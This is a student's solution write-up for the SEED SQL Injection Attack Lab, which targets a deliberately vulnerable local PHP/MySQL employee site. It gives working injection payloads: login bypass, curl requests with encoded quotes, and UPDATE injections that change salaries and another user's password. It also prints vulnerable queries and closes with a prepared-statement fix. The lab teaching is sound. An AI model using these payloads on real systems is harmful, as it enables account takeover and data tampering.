

Solution for SQL Injection Attack Lab

Johnson Liu --- CIS 4360 --- Viet Tung Hoang --- Spring 2026

Task 1: Get Familiar with SQL Statements

I was able to view Alice's profile information by getting a shell on the MySQL container, loading the database, and then viewing the tables within the database.

```
mysql> select * from credential;
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| ID | Name | EID | Salary | birth | SSN | PhoneNumber | Address | Email |
| NickName | Password |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| 1 | Alice | 10000 | 20000 | 9/20 | 10211002 | | | |
| | | fdbe918bdae83000aa54747fc95fe0470fff4976 |
| 2 | Boby | 20000 | 30000 | 4/20 | 10213352 | | | |
| | | b78ed97677c161c1c82c142906674ad15242b2d4 |
| 3 | Ryan | 30000 | 50000 | 4/10 | 98993524 | | | |
| | | a3c50276cb120637cca669eb38fb9928b017e9ef |
| 4 | Samy | 40000 | 90000 | 1/11 | 32193525 | | | |
| | | 995b8b8c183f349b3cab0ae7fccd39133508d2af |
| 5 | Ted | 50000 | 110000 | 11/3 | 32111111 | | | |
| | | 99343bff28a7bb51cb6f22cb20a618701a2c2f58 |
| 6 | Admin | 99999 | 400000 | 3/5 | 43254314 | | | |
| | | a5bdf35a1df4ea895905f6f6618e83951a6effc0 |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+
6 rows in set (0.00 sec)
```

Task 2: SQL Injection Attack on SELECT Statement

Task 2.1: SQL Injection Attack from webpage

In order to bypass the admin login, I opened the PHP code and observed a vulnerability.

```
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
```

I was able to log in successfully without a password by inputting "Admin ' #' in the username field. The " #" comments out the rest of the query.

Task 2.2: SQL Injection Attack from command line

To bypass using the command line, I used the curl tool to send an HTTP request:

```
[03/26/26]seed@VM:~/.../Labsetup$ curl 'www.seed-server.com/unsafe_home.php?username=alice%27--%20&Password=anything'
```

```
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nick
name>Password
FROM credential
WHERE name= 'alice'-- ' and Password='8867c88b56e0bfb82cfffaf15a66bc8d107d6
754a'<ul class='navbar-nav mr-auto mt-2 mt-lg-0' style='padding-left: 30px;'><li
class='nav-item active'><a class='nav-link' href='unsafe_home.php'>Home <span c
lass='sr-only'>(current)</span></a></li><li class='nav-item'><a class='nav-link'
href='unsafe_edit_frontend.php'>Edit Profile</a></li></ul><button onclick='logo
ut()' type='button' id='logoffBtn' class='nav-link my-2 my-lg-0'>Logout</button>
</div></nav><div class='container col-lg-4 col-lg-offset-4 text-center'><br><h1>
<b> Alice Profile </b></h1><hr><br><table class='table table-striped table-borde
red'><thead class='thead-dark'><tr><th scope='col'>Key</th><th scope='col'>Value
</th></tr></thead><tr><th scope='row'>Employee ID</th><td>10000</td></tr><tr><th
scope='row'>Salary</th><td>20000</td></tr><tr><th scope='row'>Birth</th><td>9/2
0</td></tr><tr><th scope='row'>SSN</th><td>10211002</td></tr><tr><th scope='row'
>NickName</th><td></td></tr><tr><th scope='row'>Email</th><td></td></tr><tr><th
scope='row'>Address</th><td></td></tr><tr><th scope='row'>Phone Number</th><td><
/td></tr></table> <br><br>
<div class="text-center">
<p>
Copyright &copy; SEED LABs
</p>
```

The %27 is the URL encoding for a single quote and %20 is the encoding for a white space. Here we see that the attack has succeeded because of the server response.

Task 2.3: Append a new SQL statement

I attempted to append an SQL statement with the curl command:

```
[03/26/26]seed@VM:~/.../Labsetup$ curl 'http://www.seed-server.com/unsafe_home.p
hp?username=Admin%27--%20%3Bselect%20name%3B%23&Password=anything'
```

The attack was successful, however the appended command was ignored / failed. This is because PHP's MySQL only executes a single SQL statement per call, ignoring all additional statements after the first semicolon.

Task 3: SQL Injection Attack on UPDATE Statement

Task 3.1: Modify your own salary

To modify Alice's salary, I exploited the vulnerable query in `unsafe_edit_backend.php`:

```
51 $sql = "UPDATE credential SET
    nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where
    ID=$id;";
52 }else{
53     // if passowrd field is empty.
54     $sql = "UPDATE credential SET
        nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
55 }
```

In edit profile, I set the nickname as “ ’, salary=100000 where Name=’Alice’ # “.

Alice Profile	
Key	Value
Employee ID	10000
Salary	100000
Birth	9/20
SSN	10211002
NickName	
Email	alice@gmail.com
Address	new
Phone Number	123-321-9999

This worked due to the injected comma and the “salary=100000” works as an additional column assignment for the SET clause.

Task 3.2: Modify other people's salary

To modify Bobby's salary: I set the nickname in edit profile for Alice: “ ’, salary=1 where Name=’Bobby’ # ”

To verify success:

Bobby Profile	
Key	Value
Employee ID	20000
Salary	1
Birth	4/20
SSN	10213352

Task 3.3: Modify other people's password

To modify Bobby's password, I set the nickname in edit profile for Alice:

“ ‘,password=sha1('hacked') where name = 'Bobby';#

I was then able to log into Bobby's account with the password “hacked”. Looking at the source code, I saw that passwords are hashed with sha1. This is why I had to hash the password in the injection.

```
[03/26/26] seed@VM:~/.../Labsetup$ echo -n 'hacked' | shasum
e812ba8d00b270ef3502bb53ceb31e8c5188f14e -
```

2	Boby	20000	1	4/20	10213352					e812ba8d00b270ef3502bb53ceb31e8c5188f14e
---	------	-------	---	------	----------	--	--	--	--	--

Task 4: Countermeasure -- Prepared Statement

In the file “unsafe.php”, we have this vulnerability:

```
24 // do the query
25 $result = $conn->query("SELECT id, name, eid, salary, ssn
26                        FROM credential
27                        WHERE name= '$input_une' and Password= '$hashed_pwd'");
```

I then use a prepared statement to patch this vulnerability:

```
24 // do the query
25 /*
26 $result = $conn->query("SELECT id, name, eid, salary, ssn
27                        FROM credential
28                        WHERE name= '$input_une' and Password= '$hashed_pwd'");
29 if ($result->num_rows > 0) {
30     // only take the first row
31     $firstrow = $result->fetch_assoc();
32     $id       = $firstrow["id"];
33     $name     = $firstrow["name"];
34     $eid      = $firstrow["eid"];
35     $salary   = $firstrow["salary"];
36     $ssn      = $firstrow["ssn"];
37 }
38 */
39
40 $stmt = $conn->prepare("SELECT id, name, eid, salary, ssn
41                        FROM credential
42                        WHERE name= ? and Password= ?");
43 $stmt->bind_param("ss", $input_une, $hashed_pwd);
44 $stmt->execute();
45 $stmt->bind_result($id, $name, $eid, $salary, $ssn);
46 $stmt->fetch();
47
48 $stmt->close();
```

The reason why this serves as a valid replacement/vulnerability patch, is that it now makes the database view “ Bobby, # “ as a literal string being compared against the Name column instead of SQL syntax.

Now when we try to bypass the login on www.seed-server.com/defense, we are met with blank

data:

Information returned from the database

- ID:
- Name:
- EID:
- Salary:
- Social Security Number: